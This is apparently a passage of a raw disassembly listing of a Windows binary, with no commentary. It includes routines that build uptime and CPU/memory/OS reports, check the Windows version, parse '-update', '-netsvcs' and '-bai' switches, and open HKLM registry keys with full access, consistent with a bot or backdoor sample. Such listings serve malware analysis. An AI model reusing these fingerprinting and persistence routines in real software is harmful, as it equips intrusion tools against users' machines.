		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 4FE81D00h, 8DFFFFB7h
		dd 0E844244Ch, 0FFFFB94Eh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC175h, 0FDE89050h, 6A023EA4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBEA3E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 0BBE82300h, 50FFFFBCh, 48244C8Dh, 0FFBCB1E8h, 4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB4E0E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB6C6h, 44244C8Dh, 0FFBB22E8h
		dd 0E89050FFh, 23DB2A6h, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBC69E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBE1BE8h, 28C483FFh, 84C6C88Bh, 17424h, 33E82400h
		dd 8BFFFFBCh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 53E80000h, 8BFFFFB6h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BDC6E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBBDEh, 0B9EEE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB5FDE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFC035h, 0BDE89050h, 6A023EA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 5DE85109h, 83FFFFBDh, 0C88B38C4h,	742484C6h
		dd 26000001h, 0FFBB75E8h, 4C8D50FFh, 6BE84824h,	50FFFFBBh
		dd 4C24548Dh, 44468468h, 9AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B580E800h, 4C8DFFFFh, 0DCE84424h
		dd 50FFFFB9h, 0B160E890h, 448D023Dh, 4C8D1024h,	68507824h
		dd 0F003Fh, 23E8006Ah, 50FFFFBBh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBCD3E8h, 2CC483FFh, 84C6C88Bh, 17424h, 0EBE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 0BE80000h, 8BFFFFB5h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BC82E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA9Ah, 0B8AAE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB4B9E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBEF1h, 79E89050h, 6A023EA2h, 6A056A00h,	6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 1DE85217h
		dd 83FFFFBCh, 0C88B30C4h, 742484C6h, 29000001h,	0FFBA35E8h
		dd 4C8D50FFh, 2BE84824h, 50FFFFBAh, 4C24448Dh, 44468468h
		dd 5AE85000h, 83FFFFB2h, 4C8D10C4h, 9C881424h, 17424h
		dd 0B440E800h, 4C8DFFFFh, 9CE84424h, 50FFFFB8h,	3DB021E8h
		dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B9E0E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBB88h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B9A0E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B3C0E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 35E85202h, 83FFFFBBh, 0C88B34C4h,	742484C6h
		dd 2B000001h, 0FFB94DE8h, 5DE850FFh, 83FFFFB7h,	4C8D04C4h
		dd 9C881424h, 17424h, 0B36CE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBDA4E8h,	2DE850FFh, 90023EA1h, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BACEE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB8E6h, 244C8D50h, 0B8DCE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B10BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB2F1E8h, 244C8DFFh,	0B74DE844h, 9050FFFFh
		dd 3DAED1E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
		dd 0B894E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFBA48h
		dd 8B24C483h, 2484C6C8h, 174h, 0B860E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B280E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 0F5E85014h,	83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB80DE8h, 1DE850FFh
		dd 83FFFFB6h, 4C8D04C4h, 9C881424h, 17424h, 0B22CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBC64E8h, 0E89050FFh
		dd 23E9FECh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B98EE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB7A6h, 244C8D50h
		dd 0B79CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AFCBE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB1B1E8h
		dd 244C8DFFh, 0B60DE844h, 9050FFFFh, 3DAD91E8h,	24448D02h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B754E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB903E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 1BE83000h, 8BFFFFB7h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B138E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 0FBE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 0E7E8FFFFh, 0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066A0	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_4066F1
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406797
; ---------------------------------------------------------------------------


loc_4066F1:				; CODE XREF: sub_4066A0+3Aj
		nop
		call	near ptr 27E0DC8h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406783
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406793
; ---------------------------------------------------------------------------


loc_406783:				; CODE XREF: sub_4066A0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406793:				; CODE XREF: sub_4066A0+E1j
		mov	[esp+38h+var_28], ebp


loc_406797:				; CODE XREF: sub_4066A0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406810:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406850	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27E0DC8h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2820000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2810000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40691E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406906
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_4068F6
		mov	ebp, offset a95	; "95"
		jmp	loc_406991
; ---------------------------------------------------------------------------


loc_4068F6:				; CODE XREF: sub_406850+9Aj
		cmp	eax, 2
		jnz	loc_40698D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40695A
; ---------------------------------------------------------------------------


loc_406906:				; CODE XREF: sub_406850+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406912
		mov	ebp, offset a98	; "98"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_406912:				; CODE XREF: sub_406850+B9j
		cmp	eax, 5Ah
		jnz	short loc_40694B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_40691E:				; CODE XREF: sub_406850+83j
		cmp	eax, 5
		jnz	short loc_40694B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406935
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_406935:				; CODE XREF: sub_406850+DCj
		cmp	eax, 1
		jnz	short loc_406941
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_406941:				; CODE XREF: sub_406850+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406950


loc_40694B:				; CODE XREF: sub_406850+C5j
					; sub_406850+D1j
		mov	ebp, offset a??? ; "???"


loc_406950:				; CODE XREF: sub_406850+C0j
					; sub_406850+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406991


loc_40695A:				; CODE XREF: sub_406850+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406991
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	near ptr byte_5F285B
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406991
; ---------------------------------------------------------------------------


loc_40698D:				; CODE XREF: sub_406850+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406991:				; CODE XREF: sub_406850+A1j
					; sub_406850+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 28011F8h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2930000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406850	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406B60	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_406B60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406B80	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_406B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_406B80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
